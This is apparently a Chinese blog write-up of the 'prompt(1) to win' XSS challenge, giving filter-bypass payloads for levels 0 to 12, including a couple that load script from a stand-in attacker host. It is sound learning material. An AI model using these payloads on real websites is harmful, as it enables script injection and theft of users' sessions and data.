XSS学习(未完..)
前言
XSS
漏洞原理非常简单,实际应用中非常灵活,于是通过 prompt(1) to win 来学习学习
正文
工具
分析正则表达式
https://regex101.com/
http://xssor.io/
https://html5sec.org/
第0关
"><script>prompt(1)</script>\\
第1关
正则过滤 <
由 >
包含的字符,所以需要不使用 >
的 payload
<style/onload="prompt(1)";//
<img/src=% onerror=prompt(1)//
过滤了=
和 (
, 而我们执行 prompt(1)
是需要 (
,这里有一个知识点,浏览器会 <svg>
标签的中的元素认为是 xml
元素,会对其中的内容进行 html
实体解码。
<svg><script>prompt(1)</script>
或者使用 eval.call
执行 js
代码,函数参数为 js
字符串,所以可以使用 16进制编码。
<script>eval.call`${'prompt\u00281)'}`</script>
第3关
我们的输入被放置在注释里面,于是想办法闭合注释,不过 ->
被过滤,有一个知识点,--!>
也可以闭合注释
--!><svg/onload=prompt(1)
第4关
输入被做为 加载 js
资源的 url
, 同时要以 http://prompt.ml/
开头,于是可以使用 http://prompt.ml%2f@attack.com
加载远程攻击者的 js
.( 先url解码才匹配,所以 /
---> %2f
)
第5关
把 >
, on***=
, focus
过滤掉了, 我们的能力就是可以修改 input
标签的属性值,由于 focus
被过滤,利用 onfocus
和 autofocus
组合的方式也不能利用了。
知识点介绍
- 如果出现两个相同的属性值,后面的属性值被忽略。
.+?
正则不会跨行匹配,但是 浏览器 可以 跨行匹配,比如onerror\n=
正则匹配不上,但是 浏览器 可以正常处理
于是 payload
" type="image" src=# onerror
="prompt(1)
第6关
用我们的输入构造了一个 form
表单,然后自动提交。
我们可以控制的东西有
action
的值input
的value
和name
值
如果没有下面的 !/script:|data:/i.test(document.forms[0].action)
, 我们可以直接设置 action
为 javascript:prompt(1)
或者 vbscript:prompt(1)
。
知识点:
document.forms[0].action
获取属性值时,如果子标签内有 name="action"
的子标签的话,会返回该子标签。 也可以说 document.forms[0].action
先回去找 该标签内部name="action"
的子标签, 如果有返回全部满足条件的子标签,如果没有则返回 该标签的 action
属性值。
所以绕过方式就是,先设置 form.action=javascript:prompt(1), 然后
在 form
标签内构造一个 name="action"
的子标签。
javascript:prompt(1)#{"action":"sss"}
第7关
把我们的输入用 #
分割, 用每一项来新建一个 <p>
标签, 项的值作为 <p>
标签的 title
属性值,唯一的限制每一项长度最长为 12
个字符
解决方法是利用 javascript
的注释符 /**/
和 javascript
语法的松散性。
"><script>/*#*/prompt(/*#*/1)/*#*/</script>
生成的 html
<p class="comment" title=""><script>/*"></p>
<p class="comment" title="*/prompt(/*"></p>
<p class="comment" title="*/1)/*"></p>
<p class="comment" title="*/</script>"></p>
简化后的有效 payload
<script>/*...*/prompt(/*...*/1)/*...*/</script>
或者
"><svg/a=#"onload='/*#*/prompt(1)'
生成的 html
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>
第8关
输入位于一个被注释了的 console.log
函数参数里面, 第一步自然是绕过注释,//
是单行注释,所以只要用换行符进入下一行即可,问题就是 \r
和 \n
被过滤。
知识点
javascript
还支持 unicode
的换行符
U+2028 http://codepoints.net/U+2028
U+2029 http://codepoints.net/U+2029
在 chrome
和 firefox
下 -->
可以作为 javascript
的注释符,不过最新的 chrome
貌似没用
[U+2028]prompt(1)[U+2028]-->
可以用 python
或者 console.log
输出 unicode
字符
把结果复制,然后粘贴即可,在 010editor
下看看 16
进制
这个 3f
应该就是 [U+2028]
了
第9关
过滤了标签的开头,字符全部转大写。
这里需要知道,unicode
码包含了许多国家的语言文字,有一些语言的字母调用 Upper
函数进行大写,由于没有对应的大写文字,会自动的转换为英文字母,而在 url
中,协议和域名是不区分大小写的这时,我们就可以进行利用了。
首先,我们可以在控制台写一个循环来查找 Upper
之后是S
的字符。
for (i=0;i<=100000;i++){
if (String.fromCharCode(i).toUpperCase()=="S"){
console.log(i)
console.log(String.fromCharCode(i))
}
}
最后的 payload
<ſvg><ſcript/href=attack.com>
第10关
首先替换 prompt
为 alert
,后面又 清除了 '
, 这种 前过滤 后 清除 的做法,可以用来绕过前面的过滤.
pro'mpt(1)
第11关
过滤之后,进入 <script>
作为赋值字符串的一部分。
有一个知识点,在脚本环境中,"string"(alert(1))
不会报错,且会正确执行,而为了使语法正确,使用 in
关键字
"(prompt(1))in"
第12关
第 10
关的一个改进,先过滤然后才清除。
在 javascript
中可以 使用 parseInt
把字符串转成数字,然后用 (num).toString
转成字符串, 同时还有一个有意思的点,用 eval
执行 function_name
返回值就是该函数的对象。于是
eval((630038579).toString(30))(1)
参考
https://lorexxar.cn/2015/07/02/xss-p/
https://hellohxk.com/blog/prompt-1-writeup/
http://blog.csdn.net/Ni9htMar3/article/details/77938899
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml
XSS学习(未完..)的更多相关文章
- springcloud-netflix组件学习-未完待续!!!
SpringCloud学习 Spring Cloud是什么鬼? Spring Cloud是一系列框架的有序集合.它利用Spring Boot的开发便利性巧妙地简化了分布式系统基础设施的开发,如服务发现 ...
- java 虚拟机学习--未完
1.学习了解GC垃圾回收 参考:https://www.ibm.com/developerworks/cn/java/l-JavaMemoryLeak2/ 2.类加载机制 http://blog.cs ...
- 浅析Oracle PL/SQL 学习--未完待续
这是一篇关于Oracle Pl/SQL数据库编程的课程学习分享... 首先说明几点: 学习这门课程之前,已经学过并且掌握一些基础的SQL语句.数据库结构分析.ER图设计等知识: 这里也只是较为大概地将 ...
- Android学习(未完)
Android四大组件1.Activity活动活动Activity是一种可以包含用户界面的组件,主要用于和用户进行交互活动之间使用intent进行通信,激活组件,分为1.显式intent2.隐式int ...
- 【tomcat】sessionId学习(未完待续)
这里主要研究tomcat中session的管理方式以及sessionId的原理,下文将研究sessionid存到redis中以及基于redis实现session共享. 平时也就是了解session是基 ...
- 可持久化Treap(fhq Treap,非旋转式Treap)学习(未完待续)
简介: Treap,一种表现优异的BST 优势: 其较于AVL.红黑树实现简单,浅显易懂 较于Splay常数小,通常用于树套BST表现远远优于Splay 或许有人想说S ...
- jmeter 工具学习 未完待续
about Apache JMeter是Apache组织的开源项目,是 一个纯Java桌面应用,用于压力测试和性能测试,它最初被设计用于 web应用测试,后来逐渐的扩展到其他领域 jmeter可以用于 ...
- Go web编程学习笔记——未完待续
1. 1).GOPATH设置 先设置自己的GOPATH,可以在本机中运行$PATH进行查看: userdeMacBook-Pro:~ user$ $GOPATH -bash: /Users/user/ ...
- Java开发中的23+2种设计模式学习个人笔记(未完待续)
注:个人笔记 一.设计模式分三大类: 创建型模式,共五种:工厂方法模式.抽象工厂模式.单例模式.建造者模式.原型模式. 结构型模式,共七种:适配器模式.装饰器模式.代理模式.外观模式.桥接模式.组合模 ...
随机推荐
- 【GDKOI2017】小队任务 莫比乌斯反演+杜教筛
题目大意:给你n,求$\sum_{i=1}^{n}\sum_{j=i}^{n}[gcd(i,j)=1](i+1)(j+1)$ 子任务一:暴力 子任务二:$T=50000,n≤10^7$ 子任务三:$T ...
- POJ 2260
#include <iostream> #define MAXN 100 using namespace std; int _m[MAXN][MAXN]; int main() { //f ...
- 使用TopShelf做windows服务
class Program { static void Main(string[] args) { HostFactory.Run(x => { x.RunAsLocalSystem(); x. ...
- ActiveMQ--HelloWorld
下载windows版本ActiveMQ,apache-activemq-5.15.3\bin\win64\activemq.bat 启动mq,ActiveMQ内置jetty,默认端口8161,默认用户 ...
- scalac:cannot connnect to compile server(idea 编译scala)
idea编译scala报错 解决办法: File->setting->scala compile server (找到jdk填上 ok)
- Asp.Net Core 连接Mysql
上一篇文章里最后在VS里测试是没有问题的,但是在Windows命令行模式下会报错. 首先用dotnet restore命令的时候会出现error: 然后用dotnet run会出现警告,但是依旧会成功 ...
- Camtasia Studio的下载
不多说,直接上干货! 具体还没写 https://www.techsmith.com/video-editor.html 欢迎大家,加入我的微信公众号:大数据躺过的坑 人工智能躺过的坑 ...
- docker网络之macvlan
macvlan接口类型简单说类似于子接口,但相比子接口来说,macvlan接口拥有自己独立的mac地址,因此使用macvlan接口可以允许更多的二层操作.macvlan有四种模式:VEPA,bridg ...
- Python 开发
1.GIL,CPython,Python跟编译器没关系,语言有多个编译器,如:JPython.IronPython等,其他语言如是.GIL对IO密集型友好,计算密集型惨淡 2.pass,定义空执行函数 ...
- ios10系统以下原生传来的base64图片无法转化为二进制
最近在做和原生ios交互上传图片的时候,遇到原生传来的以base64图片位无法转化为二进制.因为前端上传图片的方式是以二进制的方式上传,在ios10 和安卓上,上传图片是可以的:在ios10以下,可以 ...